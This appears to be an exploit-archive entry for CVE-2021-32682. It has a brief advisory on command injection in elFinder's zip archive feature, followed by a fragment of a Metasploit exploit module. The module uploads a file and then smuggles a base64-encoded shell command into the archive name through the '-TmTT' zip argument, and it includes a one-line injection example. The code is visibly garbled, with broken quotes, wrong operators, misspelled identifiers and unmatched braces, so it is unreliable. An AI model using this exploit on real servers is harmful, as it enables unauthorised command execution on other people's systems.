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## elFinder Archive Command Injection

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elFinder versions below 2.1.59 are vulnerable to a command injection vulnerability via its archive functionality. When creating a new zip archive, the name parameter is sanitized with the escapeshellarg() php function and then passed to the zip utility. Despite the sanitization, supplying the -TmTT argument as part of the name parameter is still permitted and enables the execution of arbitrary commands as the www-data user.

es | CVE-2021-32682

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SHA-256 | eefba941559b0ed45889286a43dda93328d3b84159ce379897131f28b557f0ba

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```
end
 alias archive_successful? upload_successful?
def upload_txt_file(file_name)
  file_data = Rex::Text.rand_text_alpha(8..20)
    data = Rex::MIME::Message.new
data.add_part('upload', nil, nil, 'form-data; name="cmd")
data.add_part('ll_Lw', nil, nil, 'form-data; name="target")
data.add_part('ll_Lw', nil, 'form-data; name="target")
data.add_part(file_data, 'textfplain', nil, 'form-data; name=\"upload[]\"; filename=\"#{file_name\\""}
   print_status("Uploading file #{file_name} to elFinder")
send_request_cgi{
    "method' > "POST',
    "uri' => upload_uri,
    "ctype' >> "multipart/form-data; boundary=#{data.bound}",
    "data" >> data.to_s
def create_archive(archive_name, *files_to_archive)
  files_to_archive = files_to_archive.map { | file_name | *ll_#{Rex::Text.encode_base64{file_name}}" }
}
    send_request_cgi(
'method' => 'GET',
'uri' => upload_uri,
'encode_params' => false,
'vars_get' => 'vars_get' =>
              'cmd' => 'archive',
'name' -> archive name,
'target' -> 'il_Lm',
'type' -> 'application/zip',
'targets[]' -> files to_archive.join('&targets[]=')
def setup_files_for_sploit

@txt_file = "@f[Rex:Text.rand_text_alpha(5..10)}.txt"
res = upload_txt_file(@txt_file)
fail with(Failure:UnexpectedReply, 'Upload was not successful') unless upload_successful?(res)
print_good("rext file was successfully uploaded!")
   Barchive_name = "#(Rex::Text.rand_text_alpha(5..10)).zip"
print_status("Attempting_to_create_archive_#(Barchive_name)")
res = create_archive(Barchive_name, Bixt_file)
fail_with(Failure::OmexpectedReply, 'Archive was not created') unless archive_successful(res)
print_good('Archive was successful() created')
 register_files_for_cleanup(@txt_file, @archive_name) end
# zip -r9 -q '-TmTT"*5(id>out.txt)foooo".zip' './a.zip' './a.txt' - sonarsource blog post
def execute_command(cmd, _opts = {})
cmd = "ech *{Rex::Text.encode basef4 (cmd)} | base64 -d |sh"
cmd arg = "-TmTT"*5(*{lcmd})*{Rex::Text.rand_text_alpha(1..3)}\""
cmd arg = cmd_arg.gsub(', ', '$(IF3)')
create_archive(cmd_arg, @archive_name, @txt_file)
end
def exploit
   setup_filea_for_sploit
   execute_cmdstager(noconcat: true, linemax: 150)
end
nd
```

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